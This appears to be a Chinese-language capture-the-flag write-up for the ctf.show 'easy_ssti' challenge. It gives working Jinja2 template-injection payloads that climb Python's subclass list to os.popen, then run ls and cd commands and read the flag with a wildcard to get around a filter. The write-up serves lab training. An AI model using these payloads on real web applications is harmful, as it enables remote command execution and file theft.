https://ctf.show/challenges#easy_ssti-3969
2023愚人杯
有提示app.zip
,访问
https://1f660587-5340-4b20-b929-c4549d9a5d4b.challenge.ctf.show/app.zip
得到压缩包,拿到一个py
文件
可以看到参数名是name
,对参数进行筛选,包含ge
或者不包含f
访问
/hello/<name>
下面想办法找到一个function
payload
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()}}
其中<class 'os._wrap_close'>
就是os
对象类
这里可以自己写段代码找找os
在第几位
ori_str = """这里面就放网页复制的,篇幅原因我不放进去"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):
if "os._wrap_close" in item:
print(index)
成功拿到os
对象类
如何拿到popen
函数?
先获取对象的__init__
属性,接着使用__globals__
获取函数作用域下方法,里面则包含popen
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
下面就可以为所欲为了
- 获取当前文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
hello app.py app.zip templates
- 获取上级文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && ls').read()}}
# 先cd ..回到上级目录 再用ls读取
hello app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
发现flag
了,读取flag
文件,因为屏蔽了f
,所有这里使用通配符
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && cat *lag').read()}}